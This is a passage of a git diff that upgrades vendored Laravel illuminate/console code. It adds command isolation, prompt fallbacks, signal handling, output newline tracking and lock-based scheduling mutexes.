isset($this->signature)) { $this->specifyParameters(); } + + if ($this instanceof Isolatable) { + $this->configureIsolation(); + } } /** @@ -104,6 +143,22 @@ protected function configureUsingFluentDefinition() $this->getDefinition()->addOptions($options); } + /** + * Configure the console command for isolation. + * + * @return void + */ + protected function configureIsolation() + { + $this->getDefinition()->addOption(new InputOption( + 'isolated', + null, + InputOption::VALUE_OPTIONAL, + 'Do not run the command if another instance of the command is already running', + $this->isolated + )); + } + /** * Run the console command. * @@ -111,15 +166,23 @@ protected function configureUsingFluentDefinition() * @param \Symfony\Component\Console\Output\OutputInterface $output * @return int */ - public function run(InputInterface $input, OutputInterface $output) + public function run(InputInterface $input, OutputInterface $output): int { - $this->output = $this->laravel->make( + $this->output = $output instanceof OutputStyle ? $output : $this->laravel->make( OutputStyle::class, ['input' => $input, 'output' => $output] ); - return parent::run( - $this->input = $input, $this->output - ); + $this->components = $this->laravel->make(Factory::class, ['output' => $this->output]); + + $this->configurePrompts($input); + + try { + return parent::run( + $this->input = $input, $this->output + ); + } finally { + $this->untrap(); + } } /** @@ -131,9 +194,38 @@ public function run(InputInterface $input, OutputInterface $output) */ protected function execute(InputInterface $input, OutputInterface $output) { + if ($this instanceof Isolatable && $this->option('isolated') !== false && + ! $this->commandIsolationMutex()->create($this)) { + $this->comment(sprintf( + 'The [%s] command is already running.', $this->getName() + )); + + return (int) (is_numeric($this->option('isolated')) + ? $this->option('isolated') + : $this->isolatedExitCode); + } + $method = method_exists($this, 'handle') ? 'handle' : '__invoke'; - return (int) $this->laravel->call([$this, $method]); + try { + return (int) $this->laravel->call([$this, $method]); + } finally { + if ($this instanceof Isolatable && $this->option('isolated') !== false) { + $this->commandIsolationMutex()->forget($this); + } + } + } + + /** + * Get a command isolation mutex instance for the command. + * + * @return \Illuminate\Console\CommandMutex + */ + protected function commandIsolationMutex() + { + return $this->laravel->bound(CommandMutex::class) + ? $this->laravel->make(CommandMutex::class) + : $this->laravel->make(CacheCommandMutex::class); } /** @@ -166,17 +258,15 @@ protected function resolveCommand($command) * * @return bool */ - public function isHidden() + public function isHidden(): bool { return $this->hidden; } /** * {@inheritdoc} - * - * @return static */ - public function setHidden(bool $hidden) + public function setHidden(bool $hidden = true): static { parent::setHidden($this->hidden = $hidden); diff --git a/vendor/illuminate/console/CommandMutex.php b/vendor/illuminate/console/CommandMutex.php new file mode 100644 index 000000000..719612812 --- /dev/null +++ b/vendor/illuminate/console/CommandMutex.php @@ -0,0 +1,30 @@ +resolveCommand($command)->run( + $result = $this->resolveCommand($command)->run( $this->createInputFromArguments($arguments), $output ); + + $this->restorePrompts(); + + return $result; } /** diff --git a/vendor/illuminate/console/Concerns/ConfiguresPrompts.php b/vendor/illuminate/console/Concerns/ConfiguresPrompts.php new file mode 100644 index 000000000..45d59495b --- /dev/null +++ b/vendor/illuminate/console/Concerns/ConfiguresPrompts.php @@ -0,0 +1,170 @@ +output); + + Prompt::interactive(($input->isInteractive() && defined('STDIN') && stream_isatty(STDIN)) || $this->laravel->runningUnitTests()); + + Prompt::fallbackWhen(windows_os() || $this->laravel->runningUnitTests()); + + TextPrompt::fallbackUsing(fn (TextPrompt $prompt) => $this->promptUntilValid( + fn () => $this->components->ask($prompt->label, $prompt->default ?: null) ?? '', + $prompt->required, + $prompt->validate + )); + + PasswordPrompt::fallbackUsing(fn (PasswordPrompt $prompt) => $this->promptUntilValid( + fn () => $this->components->secret($prompt->label) ?? '', + $prompt->required, + $prompt->validate + )); + + ConfirmPrompt::fallbackUsing(fn (ConfirmPrompt $prompt) => $this->promptUntilValid( + fn () => $this->components->confirm($prompt->label, $prompt->default), + $prompt->required, + $prompt->validate + )); + + SelectPrompt::fallbackUsing(fn (SelectPrompt $prompt) => $this->promptUntilValid( + fn () => $this->components->choice($prompt->label, $prompt->options, $prompt->default), + false, + $prompt->validate + )); + + MultiSelectPrompt::fallbackUsing(function (MultiSelectPrompt $prompt) { + if ($prompt->default !== []) { + return $this->promptUntilValid( + fn () => $this->components->choice($prompt->label, $prompt->options, implode(',', $prompt->default), multiple: true), + $prompt->required, + $prompt->validate + ); + } + + return $this->promptUntilValid( + fn () => collect($this->components->choice($prompt->label, ['' => 'None', ...$prompt->options], 'None', multiple: true)) + ->reject('') + ->all(), + $prompt->required, + $prompt->validate + ); + }); + + SuggestPrompt::fallbackUsing(fn (SuggestPrompt $prompt) => $this->promptUntilValid( + fn () => $this->components->askWithCompletion($prompt->label, $prompt->options, $prompt->default ?: null) ?? '', + $prompt->required, + $prompt->validate + )); + + SearchPrompt::fallbackUsing(fn (SearchPrompt $prompt) => $this->promptUntilValid( + function () use ($prompt) { + $query = $this->components->ask($prompt->label); + + $options = ($prompt->options)($query); + + return $this->components->choice($prompt->label, $options); + }, + false, + $prompt->validate + )); + + MultiSearchPrompt::fallbackUsing(fn (MultiSearchPrompt $prompt) => $this->promptUntilValid( + function () use ($prompt) { + $query = $this->components->ask($prompt->label); + + $options = ($prompt->options)($query); + + if ($prompt->required === false) { + if (array_is_list($options)) { + return collect($this->components->choice($prompt->label, ['None', ...$options], 'None', multiple: true)) + ->reject('None') + ->values() + ->all(); + } + + return collect($this->components->choice($prompt->label, ['' => 'None', ...$options], '', multiple: true)) + ->reject('') + ->values() + ->all(); + } + + return $this->components->choice($prompt->label, $options, multiple: true); + }, + $prompt->required, + $prompt->validate + )); + } + + /** + * Prompt the user until the given validation callback passes. + * + * @param \Closure $prompt + * @param bool|string $required + * @param \Closure|null $validate + * @return mixed + */ + protected function promptUntilValid($prompt, $required, $validate) + { + while (true) { + $result = $prompt(); + + if ($required && ($result === '' || $result === [] || $result === false)) { + $this->components->error(is_string($required) ? $required : 'Required.'); + + if ($this->laravel->runningUnitTests()) { + throw new PromptValidationException; + } else { + continue; + } + } + + if ($validate) { + $error = $validate($result); + + if (is_string($error) && strlen($error) > 0) { + $this->components->error($error); + + if ($this->laravel->runningUnitTests()) { + throw new PromptValidationException; + } else { + continue; + } + } + } + + return $result; + } + } + + /** + * Restore the prompts output. + * + * @return void + */ + protected function restorePrompts() + { + Prompt::setOutput($this->output); + } +} diff --git a/vendor/illuminate/console/Concerns/CreatesMatchingTest.php b/vendor/illuminate/console/Concerns/CreatesMatchingTest.php index a360c281a..4182a007e 100644 --- a/vendor/illuminate/console/Concerns/CreatesMatchingTest.php +++ b/vendor/illuminate/console/Concerns/CreatesMatchingTest.php @@ -28,17 +28,17 @@ protected function addTestOptions() * Create the matching test case if requested. * * @param string $path - * @return void + * @return bool */ protected function handleTestCreation($path) { if (! $this->option('test') && ! $this->option('pest')) { - return; + return false; } - $this->call('make:test', [ + return $this->callSilent('make:test', [ 'name' => Str::of($path)->after($this->laravel['path'])->beforeLast('.php')->append('Test')->replace('\\', '/'), '--pest' => $this->option('pest'), - ]); + ]) == 0; } } diff --git a/vendor/illuminate/console/Concerns/HasParameters.php b/vendor/illuminate/console/Concerns/HasParameters.php index e860ec2a2..157cb190b 100644 --- a/vendor/illuminate/console/Concerns/HasParameters.php +++ b/vendor/illuminate/console/Concerns/HasParameters.php @@ -21,7 +21,7 @@ protected function specifyParameters() if ($arguments instanceof InputArgument) { $this->getDefinition()->addArgument($arguments); } else { - $this->addArgument(...array_values($arguments)); + $this->addArgument(...$arguments); } } @@ -29,7 +29,7 @@ protected function specifyParameters() if ($options instanceof InputOption) { $this->getDefinition()->addOption($options); } else { - $this->addOption(...array_values($options)); + $this->addOption(...$options); } } } diff --git a/vendor/illuminate/console/Concerns/InteractsWithIO.php b/vendor/illuminate/console/Concerns/InteractsWithIO.php index 69d295c1e..a398928f6 100644 --- a/vendor/illuminate/console/Concerns/InteractsWithIO.php +++ b/vendor/illuminate/console/Concerns/InteractsWithIO.php @@ -15,6 +15,15 @@ trait InteractsWithIO { + /** + * The console components factory. + * + * @var \Illuminate\Console\View\Components\Factory + * + * @internal This property is not meant to be used or overwritten outside the framework. + */ + protected $components; + /** * The input interface implementation. * @@ -64,7 +73,7 @@ public function hasArgument($name) * Get the value of a command argument. * * @param string|null $key - * @return string|array|null + * @return array|string|bool|null */ public function argument($key = null) { @@ -198,7 +207,7 @@ public function secret($question, $fallback = true) * * @param string $question * @param array $choices - * @param string|null $default + * @param string|int|null $default * @param mixed|null $attempts * @param bool $multiple * @return string|array @@ -217,7 +226,7 @@ public function choice($question, array $choices, $default = null, $attempts = n * * @param array $headers * @param \Illuminate\Contracts\Support\Arrayable|array $rows - * @param string $tableStyle + * @param \Symfony\Component\Console\Helper\TableStyle|string $tableStyle * @param array $columnStyles * @return void */ @@ -355,28 +364,31 @@ public function warn($string, $verbosity = null) * Write a string in an alert box. * * @param string $string + * @param int|string|null $verbosity * @return void */ - public function alert($string) + public function alert($string, $verbosity = null) { $length = Str::length(strip_tags($string)) + 12; - $this->comment(str_repeat('*', $length)); - $this->comment('* '.$string.' *'); - $this->comment(str_repeat('*', $length)); + $this->comment(str_repeat('*', $length), $verbosity); + $this->comment('* '.$string.' *', $verbosity); + $this->comment(str_repeat('*', $length), $verbosity); - $this->newLine(); + $this->comment('', $verbosity); } /** * Write a blank line. * * @param int $count - * @return void + * @return $this */ public function newLine($count = 1) { $this->output->newLine($count); + + return $this; } /** @@ -438,4 +450,14 @@ public function getOutput() { return $this->output; } + + /** + * Get the output component factory implementation. + * + * @return \Illuminate\Console\View\Components\Factory + */ + public function outputComponents() + { + return $this->components; + } } diff --git a/vendor/illuminate/console/Concerns/InteractsWithSignals.php b/vendor/illuminate/console/Concerns/InteractsWithSignals.php new file mode 100644 index 000000000..c93b98dc4 --- /dev/null +++ b/vendor/illuminate/console/Concerns/InteractsWithSignals.php @@ -0,0 +1,53 @@ +|int + * + * @param (\Closure():(TSignals))|TSignals $signals + * @param callable(int $signal): void $callback + * @return void + */ + public function trap($signals, $callback) + { + Signals::whenAvailable(function () use ($signals, $callback) { + $this->signals ??= new Signals( + $this->getApplication()->getSignalRegistry(), + ); + + collect(Arr::wrap(value($signals))) + ->each(fn ($signal) => $this->signals->register($signal, $callback)); + }); + } + + /** + * Untrap signal handlers set within the command's handler. + * + * @return void + * + * @internal + */ + public function untrap() + { + if (! is_null($this->signals)) { + $this->signals->unregister(); + + $this->signals = null; + } + } +} diff --git a/vendor/illuminate/console/Concerns/PromptsForMissingInput.php b/vendor/illuminate/console/Concerns/PromptsForMissingInput.php new file mode 100644 index 000000000..59a92d162 --- /dev/null +++ b/vendor/illuminate/console/Concerns/PromptsForMissingInput.php @@ -0,0 +1,101 @@ +promptForMissingArguments($input, $output); + } + } + + /** + * Prompt the user for any missing arguments. + * + * @param \Symfony\Component\Console\Input\InputInterface $input + * @param \Symfony\Component\Console\Output\OutputInterface $output + * @return void + */ + protected function promptForMissingArguments(InputInterface $input, OutputInterface $output) + { + $prompted = collect($this->getDefinition()->getArguments()) + ->filter(fn ($argument) => $argument->isRequired() && is_null($input->getArgument($argument->getName()))) + ->filter(fn ($argument) => $argument->getName() !== 'command') + ->each(function ($argument) use ($input) { + $label = $this->promptForMissingArgumentsUsing()[$argument->getName()] ?? + 'What is '.lcfirst($argument->getDescription() ?: ('the '.$argument->getName())).'?'; + + if ($label instanceof Closure) { + return $input->setArgument($argument->getName(), $label()); + } + + if (is_array($label)) { + [$label, $placeholder] = $label; + } + + $input->setArgument($argument->getName(), text( + label: $label, + placeholder: $placeholder ?? '', + validate: fn ($value) => empty($value) ? "The {$argument->getName()} is required." : null, + )); + }) + ->isNotEmpty(); + + if ($prompted) { + $this->afterPromptingForMissingArguments($input, $output); + } + } + + /** + * Prompt for missing input arguments using the returned questions. + * + * @return array + */ + protected function promptForMissingArgumentsUsing() + { + return []; + } + + /** + * Perform actions after the user was prompted for missing arguments. + * + * @param \Symfony\Component\Console\Input\InputInterface $input + * @param \Symfony\Component\Console\Output\OutputInterface $output + * @return void + */ + protected function afterPromptingForMissingArguments(InputInterface $input, OutputInterface $output) + { + // + } + + /** + * Whether the input contains any options that differ from the default values. + * + * @param \Symfony\Component\Console\Input\InputInterface $input + * @return bool + */ + protected function didReceiveOptions(InputInterface $input) + { + return collect($this->getDefinition()->getOptions()) + ->reject(fn ($option) => $input->getOption($option->getName()) === $option->getDefault()) + ->isNotEmpty(); + } +} diff --git a/vendor/illuminate/console/ConfirmableTrait.php b/vendor/illuminate/console/ConfirmableTrait.php index 8d0d6df77..813492720 100644 --- a/vendor/illuminate/console/ConfirmableTrait.php +++ b/vendor/illuminate/console/ConfirmableTrait.php @@ -2,6 +2,8 @@ namespace Illuminate\Console; +use function Laravel\Prompts\confirm; + trait ConfirmableTrait { /** @@ -13,7 +15,7 @@ trait ConfirmableTrait * @param \Closure|bool|null $callback * @return bool */ - public function confirmToProceed($warning = 'Application In Production!', $callback = null) + public function confirmToProceed($warning = 'Application In Production', $callback = null) { $callback = is_null($callback) ? $this->getDefaultConfirmCallback() : $callback; @@ -24,12 +26,12 @@ public function confirmToProceed($warning = 'Application In Production!', $callb return true; } - $this->alert($warning); + $this->components->alert($warning); - $confirmed = $this->confirm('Do you really wish to run this command?'); + $confirmed = confirm('Are you sure you want to run this command?', default: false); if (! $confirmed) { - $this->comment('Command Canceled!'); + $this->components->warn('Command cancelled.'); return false; } diff --git a/vendor/illuminate/console/ContainerCommandLoader.php b/vendor/illuminate/console/ContainerCommandLoader.php new file mode 100644 index 000000000..f770f6c71 --- /dev/null +++ b/vendor/illuminate/console/ContainerCommandLoader.php @@ -0,0 +1,76 @@ +container = $container; + $this->commandMap = $commandMap; + } + + /** + * Resolve a command from the container. + * + * @param string $name + * @return \Symfony\Component\Console\Command\Command + * + * @throws \Symfony\Component\Console\Exception\CommandNotFoundException + */ + public function get(string $name): Command + { + if (! $this->has($name)) { + throw new CommandNotFoundException(sprintf('Command "%s" does not exist.', $name)); + } + + return $this->container->get($this->commandMap[$name]); + } + + /** + * Determines if a command exists. + * + * @param string $name + * @return bool + */ + public function has(string $name): bool + { + return $name && isset($this->commandMap[$name]); + } + + /** + * Get the command names. + * + * @return string[] + */ + public function getNames(): array + { + return array_keys($this->commandMap); + } +} diff --git a/vendor/illuminate/console/Contracts/NewLineAware.php b/vendor/illuminate/console/Contracts/NewLineAware.php new file mode 100644 index 000000000..0a21d27d5 --- /dev/null +++ b/vendor/illuminate/console/Contracts/NewLineAware.php @@ -0,0 +1,22 @@ +isReservedName($this->getNameInput())) { - $this->error('The name "'.$this->getNameInput().'" is reserved by PHP.'); + $this->components->error('The name "'.$this->getNameInput().'" is reserved by PHP.'); return false; } @@ -151,7 +168,7 @@ public function handle() if ((! $this->hasOption('force') || ! $this->option('force')) && $this->alreadyExists($this->getNameInput())) { - $this->error($this->type.' already exists!'); + $this->components->error($this->type.' already exists.'); return false; } @@ -163,11 +180,19 @@ public function handle() $this->files->put($path, $this->sortImports($this->buildClass($name))); - $this->info($this->type.' created successfully.'); + $info = $this->type; if (in_array(CreatesMatchingTest::class, class_uses_recursive($this))) { - $this->handleTestCreation($path); + if ($this->handleTestCreation($path)) { + $info .= ' and test'; + } } + + if (windows_os()) { + $path = str_replace('/', '\\', $path); + } + + $this->components->info(sprintf('%s [%s] created successfully.', $info, $path)); } /** @@ -216,6 +241,42 @@ protected function qualifyModel(string $model) : $rootNamespace.$model; } + /** + * Get a list of possible model names. + * + * @return array + */ + protected function possibleModels() + { + $modelPath = is_dir(app_path('Models')) ? app_path('Models') : app_path(); + + return collect(Finder::create()->files()->depth(0)->in($modelPath)) + ->map(fn ($file) => $file->getBasename('.php')) + ->sort() + ->values() + ->all(); + } + + /** + * Get a list of possible event names. + * + * @return array + */ + protected function possibleEvents() + { + $eventPath = app_path('Events'); + + if (! is_dir($eventPath)) { + return []; + } + + return collect(Finder::create()->files()->depth(0)->in($eventPath)) + ->map(fn ($file) => $file->getBasename('.php')) + ->sort() + ->values() + ->all(); + } + /** * Get the default namespace for the class. * @@ -340,7 +401,7 @@ protected function replaceClass($stub, $name) */ protected function sortImports($stub) { - if (preg_match('/(?P(?:use [^;]+;$\n?)+)/m', $stub, $match)) { + if (preg_match('/(?P(?:^use [^;{]+;$\n?)+)/m', $stub, $match)) { $imports = explode("\n", trim($match['imports'])); sort($imports); @@ -393,9 +454,12 @@ protected function userProviderModel() */ protected function isReservedName($name) { - $name = strtolower($name); - - return in_array($name, $this->reservedNames); + return in_array( + strtolower($name), + collect($this->reservedNames) + ->transform(fn ($name) => strtolower($name)) + ->all() + ); } /** @@ -419,7 +483,47 @@ protected function viewPath($path = '') protected function getArguments() { return [ - ['name', InputArgument::REQUIRED, 'The name of the class'], + ['name', InputArgument::REQUIRED, 'The name of the '.strtolower($this->type)], + ]; + } + + /** + * Prompt for missing input arguments using the returned questions. + * + * @return array + */ + protected function promptForMissingArgumentsUsing() + { + return [ + 'name' => [ + 'What should the '.strtolower($this->type).' be named?', + match ($this->type) { + 'Cast' => 'E.g. Json', + 'Channel' => 'E.g. OrderChannel', + 'Console command' => 'E.g. SendEmails', + 'Component' => 'E.g. Alert', + 'Controller' => 'E.g. UserController', + 'Event' => 'E.g. PodcastProcessed', + 'Exception' => 'E.g. InvalidOrderException', + 'Factory' => 'E.g. PostFactory', + 'Job' => 'E.g. ProcessPodcast', + 'Listener' => 'E.g. SendPodcastNotification', + 'Mailable' => 'E.g. OrderShipped', + 'Middleware' => 'E.g. EnsureTokenIsValid', + 'Model' => 'E.g. Flight', + 'Notification' => 'E.g. InvoicePaid', + 'Observer' => 'E.g. UserObserver', + 'Policy' => 'E.g. PostPolicy', + 'Provider' => 'E.g. ElasticServiceProvider', + 'Request' => 'E.g. StorePodcastRequest', + 'Resource' => 'E.g. UserResource', + 'Rule' => 'E.g. Uppercase', + 'Scope' => 'E.g. TrendingScope', + 'Seeder' => 'E.g. UserSeeder', + 'Test' => 'E.g. UserTest', + default => '', + }, + ], ]; } } diff --git a/vendor/illuminate/console/MigrationGeneratorCommand.php b/vendor/illuminate/console/MigrationGeneratorCommand.php new file mode 100644 index 000000000..35e28f0dc --- /dev/null +++ b/vendor/illuminate/console/MigrationGeneratorCommand.php @@ -0,0 +1,122 @@ +files = $files; + $this->composer = $composer; + } + + /** + * Get the migration table name. + * + * @return string + */ + abstract protected function migrationTableName(); + + /** + * Get the path to the migration stub file. + * + * @return string + */ + abstract protected function migrationStubFile(); + + /** + * Execute the console command. + * + * @return int + */ + public function handle() + { + $table = $this->migrationTableName(); + + if ($this->migrationExists($table)) { + $this->components->error('Migration already exists.'); + + return 1; + } + + $this->replaceMigrationPlaceholders( + $this->createBaseMigration($table), $table + ); + + $this->components->info('Migration created successfully.'); + + return 0; + } + + /** + * Create a base migration file for the table. + * + * @param string $table + * @return string + */ + protected function createBaseMigration($table) + { + return $this->laravel['migration.creator']->create( + 'create_'.$table.'_table', $this->laravel->databasePath('/migrations') + ); + } + + /** + * Replace the placeholders in the generated migration file. + * + * @param string $path + * @param string $table + * @return void + */ + protected function replaceMigrationPlaceholders($path, $table) + { + $stub = str_replace( + '{{table}}', $table, $this->files->get($this->migrationStubFile()) + ); + + $this->files->put($path, $stub); + } + + /** + * Determine whether a migration for the table already exists. + * + * @param string $table + * @return bool + */ + protected function migrationExists($table) + { + return count($this->files->glob( + join_paths($this->laravel->databasePath('migrations'), '*_*_*_*_create_'.$table.'_table.php') + )) !== 0; + } +} diff --git a/vendor/illuminate/console/OutputStyle.php b/vendor/illuminate/console/OutputStyle.php index 1e7c15314..cbfc25722 100644 --- a/vendor/illuminate/console/OutputStyle.php +++ b/vendor/illuminate/console/OutputStyle.php @@ -2,11 +2,13 @@ namespace Illuminate\Console; +use Illuminate\Console\Contracts\NewLineAware; use Symfony\Component\Console\Input\InputInterface; use Symfony\Component\Console\Output\OutputInterface; +use Symfony\Component\Console\Question\Question; use Symfony\Component\Console\Style\SymfonyStyle; -class OutputStyle extends SymfonyStyle +class OutputStyle extends SymfonyStyle implements NewLineAware { /** * The output instance. @@ -15,6 +17,24 @@ class OutputStyle extends SymfonyStyle */ private $output; + /** + * The number of trailing new lines written by the last output. + * + * This is initialized as 1 to account for the new line written by the shell after executing a command. + * + * @var int + */ + protected $newLinesWritten = 1; + + /** + * If the last output written wrote a new line. + * + * @var bool + * + * @deprecated use $newLinesWritten + */ + protected $newLineWritten = false; + /** * Create a new Console OutputStyle instance. * @@ -29,12 +49,108 @@ public function __construct(InputInterface $input, OutputInterface $output) parent::__construct($input, $output); } + /** + * {@inheritdoc} + */ + public function askQuestion(Question $question): mixed + { + try { + return parent::askQuestion($question); + } finally { + $this->newLinesWritten++; + } + } + + /** + * {@inheritdoc} + */ + public function write(string|iterable $messages, bool $newline = false, int $options = 0) + { + $this->newLinesWritten = $this->trailingNewLineCount($messages) + (int) $newline; + $this->newLineWritten = $this->newLinesWritten > 0; + + parent::write($messages, $newline, $options); + } + + /** + * {@inheritdoc} + * + * @return void + */ + public function writeln(string|iterable $messages, int $type = self::OUTPUT_NORMAL) + { + $this->newLinesWritten = $this->trailingNewLineCount($messages) + 1; + $this->newLineWritten = true; + + parent::writeln($messages, $type); + } + + /** + * {@inheritdoc} + * + * @return void + */ + public function newLine(int $count = 1) + { + $this->newLinesWritten += $count; + $this->newLineWritten = $this->newLinesWritten > 0; + + parent::newLine($count); + } + + /** + * {@inheritdoc} + */ + public function newLinesWritten() + { + if ($this->output instanceof static) { + return $this->output->newLinesWritten(); + } + + return $this->newLinesWritten; + } + + /** + * {@inheritdoc} + * + * @deprecated use newLinesWritten + */ + public function newLineWritten() + { + if ($this->output instanceof static && $this->output->newLineWritten()) { + return true; + } + + return $this->newLineWritten; + } + + /* + * Count the number of trailing new lines in a string. + * + * @param string|iterable $messages + * @return int + */ + protected function trailingNewLineCount($messages) + { + if (is_iterable($messages)) { + $string = ''; + + foreach ($messages as $message) { + $string .= $message.PHP_EOL; + } + } else { + $string = $messages; + } + + return strlen($string) - strlen(rtrim($string, PHP_EOL)); + } + /** * Returns whether verbosity is quiet (-q). * * @return bool */ - public function isQuiet() + public function isQuiet(): bool { return $this->output->isQuiet(); } @@ -44,7 +160,7 @@ public function isQuiet() * * @return bool */ - public function isVerbose() + public function isVerbose(): bool { return $this->output->isVerbose(); } @@ -54,7 +170,7 @@ public function isVerbose() * * @return bool */ - public function isVeryVerbose() + public function isVeryVerbose(): bool { return $this->output->isVeryVerbose(); } @@ -64,7 +180,7 @@ public function isVeryVerbose() * * @return bool */ - public function isDebug() + public function isDebug(): bool { return $this->output->isDebug(); } diff --git a/vendor/illuminate/console/Parser.php b/vendor/illuminate/console/Parser.php index 00dca1cd6..d70088e61 100644 --- a/vendor/illuminate/console/Parser.php +++ b/vendor/illuminate/console/Parser.php @@ -2,7 +2,6 @@ namespace Illuminate\Console; -use Illuminate\Support\Str; use InvalidArgumentException; use Symfony\Component\Console\Input\InputArgument; use Symfony\Component\Console\Input\InputOption; @@ -17,14 +16,12 @@ class Parser * * @throws \InvalidArgumentException */ - public static function parse($expression) + public static function parse(string $expression) { $name = static::name($expression); - if (preg_match_all('/\{\s*(.*?)\s*\}/', $expression, $matches)) { - if (count($matches[1])) { - return array_merge([$name], static::parameters($matches[1])); - } + if (preg_match_all('/\{\s*(.*?)\s*\}/', $expression, $matches) && count($matches[1])) { + return array_merge([$name], static::parameters($matches[1])); } return [$name, [], []]; @@ -38,7 +35,7 @@ public static function parse($expression) * * @throws \InvalidArgumentException */ - protected static function name($expression) + protected static function name(string $expression) { if (! preg_match('/[^\s]+/', $expression, $matches)) { throw new InvalidArgumentException('Unable to determine command name from signature.'); @@ -48,7 +45,7 @@ protected static function name($expression) } /** - * Extract all of the parameters from the tokens. + * Extract all parameters from the tokens. * * @param array $tokens * @return array @@ -60,7 +57,7 @@ protected static function parameters(array $tokens) $options = []; foreach ($tokens as $token) { - if (preg_match('/-{2,}(.*)/', $token, $matches)) { + if (preg_match('/^-{2,}(.*)/', $token, $matches)) { $options[] = static::parseOption($matches[1]); } else { $arguments[] = static::parseArgument($token); @@ -76,16 +73,16 @@ protected static function parameters(array $tokens) * @param string $token * @return \Symfony\Component\Console\Input\InputArgument */ - protected static function parseArgument($token) + protected static function parseArgument(string $token) { [$token, $description] = static::extractDescription($token); switch (true) { - case Str::endsWith($token, '?*'): + case str_ends_with($token, '?*'): return new InputArgument(trim($token, '?*'), InputArgument::IS_ARRAY, $description); - case Str::endsWith($token, '*'): + case str_ends_with($token, '*'): return new InputArgument(trim($token, '*'), InputArgument::IS_ARRAY | InputArgument::REQUIRED, $description); - case Str::endsWith($token, '?'): + case str_ends_with($token, '?'): return new InputArgument(trim($token, '?'), InputArgument::OPTIONAL, $description); case preg_match('/(.+)\=\*(.+)/', $token, $matches): return new InputArgument($matches[1], InputArgument::IS_ARRAY, $description, preg_split('/,\s?/', $matches[2])); @@ -102,23 +99,23 @@ protected static function parseArgument($token) * @param string $token * @return \Symfony\Component\Console\Input\InputOption */ - protected static function parseOption($token) + protected static function parseOption(string $token) { [$token, $description] = static::extractDescription($token); $matches = preg_split('/\s*\|\s*/', $token, 2); + $shortcut = null; + if (isset($matches[1])) { $shortcut = $matches[0]; $token = $matches[1]; - } else { - $shortcut = null; } switch (true) { - case Str::endsWith($token, '='): + case str_ends_with($token, '='): return new InputOption(trim($token, '='), $shortcut, InputOption::VALUE_OPTIONAL, $description); - case Str::endsWith($token, '=*'): + case str_ends_with($token, '=*'): return new InputOption(trim($token, '=*'), $shortcut, InputOption::VALUE_OPTIONAL | InputOption::VALUE_IS_ARRAY, $description); case preg_match('/(.+)\=\*(.+)/', $token, $matches): return new InputOption($matches[1], $shortcut, InputOption::VALUE_OPTIONAL | InputOption::VALUE_IS_ARRAY, $description, preg_split('/,\s?/', $matches[2])); @@ -135,7 +132,7 @@ protected static function parseOption($token) * @param string $token * @return array */ - protected static function extractDescription($token) + protected static function extractDescription(string $token) { $parts = preg_split('/\s+:\s+/', trim($token), 2); diff --git a/vendor/illuminate/console/PromptValidationException.php b/vendor/illuminate/console/PromptValidationException.php new file mode 100644 index 000000000..218720967 --- /dev/null +++ b/vendor/illuminate/console/PromptValidationException.php @@ -0,0 +1,9 @@ +getQuestion()); + + $text = $this->ensureEndsWithPunctuation($text); + + $text = " $text"; + + $default = $question->getDefault(); + + if ($question->isMultiline()) { + $text .= sprintf(' (press %s to continue)', 'Windows' == PHP_OS_FAMILY + ? 'Ctrl+Z then Enter' + : 'Ctrl+D'); + } + + switch (true) { + case null === $default: + $text = sprintf('%s', $text); + + break; + + case $question instanceof ConfirmationQuestion: + $text = sprintf('%s (yes/no) [%s]', $text, $default ? 'yes' : 'no'); + + break; + + case $question instanceof ChoiceQuestion: + $choices = $question->getChoices(); + $text = sprintf('%s [%s]', $text, OutputFormatter::escape($choices[$default] ?? $default)); + + break; + + default: + $text = sprintf('%s [%s]', $text, OutputFormatter::escape($default)); + + break; + } + + $output->writeln($text); + + if ($question instanceof ChoiceQuestion) { + foreach ($question->getChoices() as $key => $value) { + with(new TwoColumnDetail($output))->render($value, $key); + } + } + + $output->write('❯ '); + } + + /** + * Ensures the given string ends with punctuation. + * + * @param string $string + * @return string + */ + protected function ensureEndsWithPunctuation($string) + { + if (! str($string)->endsWith(['?', ':', '!', '.'])) { + return "$string:"; + } + + return $string; + } +} diff --git a/vendor/illuminate/console/Scheduling/CacheEventMutex.php b/vendor/illuminate/console/Scheduling/CacheEventMutex.php index 1f6b15eac..3d1ad9247 100644 --- a/vendor/illuminate/console/Scheduling/CacheEventMutex.php +++ b/vendor/illuminate/console/Scheduling/CacheEventMutex.php @@ -2,7 +2,9 @@ namespace Illuminate\Console\Scheduling; +use Illuminate\Cache\DynamoDbStore; use Illuminate\Contracts\Cache\Factory as Cache; +use Illuminate\Contracts\Cache\LockProvider; class CacheEventMutex implements EventMutex, CacheAware { @@ -39,6 +41,12 @@ public function __construct(Cache $cache) */ public function create(Event $event) { + if ($this->shouldUseLocks($this->cache->store($this->store)->getStore())) { + return $this->cache->store($this->store)->getStore() + ->lock($event->mutexName(), $event->expiresAt * 60) + ->acquire(); + } + return $this->cache->store($this->store)->add( $event->mutexName(), true, $event->expiresAt * 60 ); @@ -52,6 +60,12 @@ public function create(Event $event) */ public function exists(Event $event) { + if ($this->shouldUseLocks($this->cache->store($this->store)->getStore())) { + return ! $this->cache->store($this->store)->getStore() + ->lock($event->mutexName(), $event->expiresAt * 60) + ->get(fn () => true); + } + return $this->cache->store($this->store)->has($event->mutexName()); } @@ -63,9 +77,28 @@ public function exists(Event $event) */ public function forget(Event $event) { + if ($this->shouldUseLocks($this->cache->store($this->store)->getStore())) { + $this->cache->store($this->store)->getStore() + ->lock($event->mutexName(), $event->expiresAt * 60) + ->forceRelease(); + + return; + } + $this->cache->store($this->store)->forget($event->mutexName()); } + /** + * Determine if the given store should use locks for cache event mutexes. + * + * @param \Illuminate\Contracts\Cache\Store $store + * @return bool + */ + protected function shouldUseLocks($store) + { + return $store instanceof LockProvider && ! $store instanceof DynamoDbStore; + } + /** * Specify the cache store that should be used. * diff --git a/vendor/illuminate/console/Scheduling/CallbackEvent.php b/vendor/illuminate/console/Scheduling/CallbackEvent.php index dde5d7dea..0ef6fddce 100644 --- a/vendor/illuminate/console/Scheduling/CallbackEvent.php +++ b/vendor/illuminate/console/Scheduling/CallbackEvent.php @@ -6,6 +6,7 @@ use Illuminate\Support\Reflector; use InvalidArgumentException; use LogicException; +use RuntimeException; use Throwable; class CallbackEvent extends Event @@ -24,11 +25,25 @@ class CallbackEvent extends Event */ protected $parameters; + /** + * The result of the callback's execution. + * + * @var mixed + */ + protected $result; + + /** + * The exception that was thrown when calling the callback, if any. + * + * @var \Throwable|null + */ + protected $exception; + /** * Create a new event instance. * * @param \Illuminate\Console\Scheduling\EventMutex $mutex - * @param string $callback + * @param string|callable $callback * @param array $parameters * @param \DateTimeZone|string|null $timezone * @return void @@ 